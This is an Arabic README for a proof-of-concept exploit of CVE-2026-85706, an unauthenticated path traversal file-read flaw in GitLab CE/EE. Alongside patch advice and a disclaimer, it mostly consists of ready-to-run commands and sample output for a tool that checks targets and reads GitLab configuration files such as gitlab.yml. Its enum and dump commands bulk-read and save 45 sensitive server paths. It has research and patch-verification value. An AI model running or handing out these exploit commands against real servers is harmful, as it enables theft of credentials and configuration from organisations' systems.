
PoC لـ CVE-2026-85706: قراءة ملفات محلية عشوائية بدون مصادقة في GitLab CE/EE
CVE-2026-85706 هي ثغرة حرجة من نوع اجتياز المسار / غياب المصادقة في واجهات برمجة تطبيقات Repository Commits و Repository Files في GitLab CE/EE: يمكن لمهاجم غير مُصادَق عليه أن يجعل الخادم يقرأ ملفات عشوائية ويحصل على محتواها عبر قناة الأخطاء. CVSS 3.1 10.0
(CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N).
العنوان الرسمي لـ GitLab هو "Path Traversal issue in repository commits API impacts GitLab CE/EE". صدر الإصلاح في 2026-09-10 ضمن 19.3.2 / 19.2.6 / 19.1.8.
[!IMPORTANT] هل تشغّل GitLab مُدارًا ذاتيًا بإصدار <= 19.3.1؟ قم بالترقية إلى 19.3.2 / 19.2.6 / 19.1.8.
[!WARNING] للاستخدام المُصرَّح به فقط. شغّل هذه الأداة فقط ضد الأنظمة التي تملكها أو المسموح لك صراحةً باختبارها.
يحتوي هذا المستودع على إثبات مفهوم مستقل، ومختبر إعادة إنتاج مصغّر، وتحليل تقني كامل:
لا تتضمن أي بيانات تم جمعها من أي نظام طرف ثالث.
# terminal 1 - from the repository root
cd lab
python vulnerable_api.py --seed # create the sandbox vault
python vulnerable_api.py --port 8080 # vulnerable build (add --patched to compare)
# terminal 2 - from the repository root
cd poc
python CVE-2026-85706.py check --url http://127.0.0.1:8080 --project 1
python CVE-2026-85706.py read --url http://127.0.0.1:8080 --project 1 \
--file /tmp/cve-2026-85706/canary.txt
يستمع المختبر على 127.0.0.1 فقط ويقرأ فقط داخل بيئة lab/vault/ المعزولة، لذا لا يمكنه أبدًا لمس
الملفات على جهازك الحقيقي.
# from the repository root (`cd lab && docker compose up -d` works too)
docker compose -f lab/docker-compose.yml up -d # ~3 GB image, >= 8 GB RAM
# root password, if you need to log in and create the project:
docker compose -f lab/docker-compose.yml exec gitlab grep 'password:' /etc/gitlab/initial_root_password
# then create a PUBLIC project with a repository, note its id, and run:
python poc/CVE-2026-85706.py check --url http://127.0.0.1:8929 --project <project_id>
# from the repository root
python poc/CVE-2026-85706.py check --url https://gitlab.example.com --project <public_project>
أضف --insecure للشهادات الموقّعة ذاتيًا، وفضّل معرّف المشروع الرقمي على المسار المُرمَّز
(--project <id> بدلًا من group%2Fproject).
| الأمر | الغرض | الخيارات الرئيسية |
|---|---|---|
check | هل الهدف مصاب؟ يقارن استجابات كل متجه تجاوز | --canary-path, --no-bypass-probe |
read | قراءة ملف واحد والإبلاغ عمّا إذا تسرّب محتواه | --file <path>, --media <type> |
enum | فحص قائمة من المسارات وتصنيف كل واحد منها | --wordlist, --wordlist-file |
dump | حفظ كل ملف قابل للقراءة على القرص، مع بيان والاستجابات الخام | --files, --files-file, --outdir |
التسميات التي يطبعها check:
| التسمية | مسار الطلب |
|---|---|
commits-trailing-slash | POST /api/v4/projects/<id>/repository/commits/ |
commits-json-suffix | POST /api/v4/projects/<id>/repository/commits.json |
commits-canonical | POST /api/v4/projects/<id>/repository/commits (Workhorse-buffered, control case) |
files-trailing-slash | POST /api/v4/projects/<id>/repository/files/<name>/ |
files-canonical | POST /api/v4/projects/<id>/repository/files/<name> |
check - هل الهدف مصاب؟$ python poc/CVE-2026-85706.py check --url https://gitlab.example.com --project <id> --insecure
form commits-trailing-slash HTTP 400 VULNERABLE:existence-oracle
form commits-json-suffix HTTP 400 VULNERABLE:existence-oracle
form commits-canonical HTTP 401 NOT-VULNERABLE(auth required)
[json and query variants behave identically]
[*] Workhorse bypass probe (same route, sent with and without the 'file' parameter)
commits-trailing-slash without 'file' HTTP 400 {"error":"file is missing"}
files-trailing-slash without 'file' HTTP 400 {"error":"file is missing"}
commits-trailing-slash with 'file=' HTTP 400 VULNERABLE:existence-oracle
[!] VULNERABLE - the endpoint evaluated an attacker supplied file path before authenticating.
-> upgrade to GitLab 19.1.8 / 19.2.6 / 19.3.2 or later.
رموز الخروج: 0 = مصاب؛ 1 = غير قابل للاستغلال بالمتجهات المُختبرة (مُرقَّع، أو المسار غير قابل للوصول).
تفصيلان يستحقان المعرفة:
Workhorse bypass probe هي إثبات التوجيه: file موجود فقط عندما يقوم Workhorse بتخزين الجسم
وتوقيعه، لذا فإن 400 {"error":"file is missing"} يثبت أن مسار التجاوز تخطّى تلك المعالجة
مع وصوله إلى API. في نسخة مُرقَّعة يُقرأ السطر الأخير HTTP 401.commits-canonical -> 401) هو حالة التحكم: هناك يعيد Workhorse كتابة
file.path، لذا لا تصل قيمة المهاجم أبدًا إلى الكود المصاب.read - قراءة ملف واحد$ python poc/CVE-2026-85706.py read --url https://gitlab.example.com --project <id> --insecure \
--file /var/opt/gitlab/gitlab-rails/etc/gitlab.yml
[*] baseline probe (/tmp/this-file-does-not-exist-627748): HTTP 400 -> target build is VULNERABLE
form commits-trailing-slash HTTP 400 LEAK! content disclosed via the Rack parser error
form commits-canonical HTTP 401 EXISTS, parsed without error -> authentication required
رموز الخروج: 0 = تم كشف المحتوى، أو قراءة قبل المصادقة أكّدها خط الأساس؛ 1 = لم تُلاحظ قراءة قبل المصادقة.
enum / dump - الفحص الجماعيpython poc/CVE-2026-85706.py enum --url https://gitlab.example.com --project <id> --insecure \
--wordlist-file poc/paths.txt
python poc/CVE-2026-85706.py dump --url https://gitlab.example.com --project <id> --insecure \
--outdir evidence --files-file poc/paths.txt
يوفّر poc/paths.txt 45 مسارًا مثيرًا للاهتمام في GitLab/Linux؛ يمكن إعطاء --wordlist / --files مباشرةً أو
عبر ملف، ويمكن الجمع بين الشكلين. هذان هما الأمران الفرعيان الوحيدان اللذان يلمسان محتويات ملفات
حقيقية - اكتب المخرجات خارج هذا المستودع ولا تنشر أبدًا ما تلتقطه.
| الخيار | المعنى |
|---|---|
--url <base URL> | عنوان URL الأساسي للهدف (مطلوب) |
--project <id or encoded path> | معرّف مشروع عام (123) أو مسار مُرمَّز بعنوان URL (group%2Fproject)، مطلوب |
--token <PRIVATE-TOKEN> | اختياري؛ لاختبار المسار المُصادَق عليه |
--insecure | تخطي التحقق من TLS (الشهادات الموقّعة ذاتيًا) |
-v, --verbose | طباعة كل طلب/استجابة إلى stderr |
--canary-path <path> | مسار مفقود مضمون يُستخدم كخط أساس للثغرة |
--color <mode> | auto (افتراضي، الألوان على طرفية حقيقية)، always، never |
ترتيب الخيارات مهم: الخيارات المشتركة تأتي بعد الأمر الفرعي - check --url ... --insecure، وليس
--url ... check.
| الاختبار | النتيجة |
|---|---|
التحكم المُرقَّع - gitlab.com، 19.3.2+ | كل متجه يُعيد 401؛ الإجابة الأخرى الوحيدة هي 400 {"error":"file is missing"} التي تثبت تجاوز التوجيه |
المختبر المحلي - lab/vulnerable_api.py | يعيد إنتاج خطأ الثقة في جانب Rails من البداية إلى النهاية؛ --patched يوفّر نسخة المقارنة |
| نسخة مُدارة ذاتيًا حقيقية - 19.3.1، بتصريح مكتوب | تم تأكيد الإصابة؛ تفاصيل المضيف والمشروع غير منشورة هنا عمدًا. النتائج المُجمَّعة في ANALYSIS.md، القسم 4.3 |
هذه المواد مُقدَّمة لأغراض البحث الأمني والاختبار المُصرَّح به - مختبرك الخاص، أو برنامج مكافآت الثغرات، أو اختبار اختراق بإذن مكتوب. استخدمها فقط ضد الأنظمة التي تملكها أو المسموح لك صراحةً باختبارها. الوصول غير المُصرَّح به إلى أنظمة طرف ثالث غير قانوني. مُقدَّم كما هو، دون أي ضمان من أي نوع.